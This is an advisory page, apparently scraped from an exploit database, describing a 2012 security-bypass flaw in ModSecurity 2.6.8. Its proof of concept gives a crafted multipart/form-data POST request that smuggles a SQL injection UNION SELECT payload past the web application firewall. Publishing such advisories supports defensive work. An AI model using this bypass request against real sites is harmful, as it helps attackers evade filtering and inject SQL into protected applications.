ModSecurity Security-Bypass Vulnerability

vendor:

ModSecurity

by:

SecurityFocus

7,5

CVSS

HIGH

Security-Bypass

CWE

Product Name: ModSecurity

Affected Version From: ModSecurity 2.6.8

Affected Version To: Other versions may also be affected.

Patch Exists: YES

Related CWE: N/A

CPE: a:modsecurity:modsecurity

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2012

ModSecurity Security-Bypass Vulnerability

ModSecurity is prone to a security-bypass vulnerability because it fails to sufficiently sanitize user-supplied input. Successful exploits can allow attackers to bypass filtering rules; this may aid in further attacks. Proof of concept involves sending a POST request with a malicious payload in the form of a multipart/form-data boundary.

Mitigation:

Ensure that user-supplied input is properly sanitized before being used.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/56096/info

ModSecurity is prone to a security-bypass vulnerability because it fails to sufficiently sanitize user-supplied input.

Successful exploits can allow attackers to bypass filtering rules; this may aid in further attacks.

ModSecurity 2.6.8 is vulnerable; other versions may also be affected. 

Proof of concept:
-----------------

wut.php:
--------

<? echo $POST[xxx] ?>


POST request:
-------------

POST /wut.php HTTP/1.1
Content-Type: multipart/form-data; boundary=A
Content-Length: 161

--A
Content-Disposition: form-data; name="xxx"[\r][\r][\n]
--A
Content-Disposition: form-data; name="yyy"; filename="z"

1 UNION SELECT 1,2,3,4,5,6,7,8,9,10--

--A--


Output:
-------

1 UNION SELECT 1,2,3,4,5,6,7,8,9,10--

(any change in the header should produce a 403)d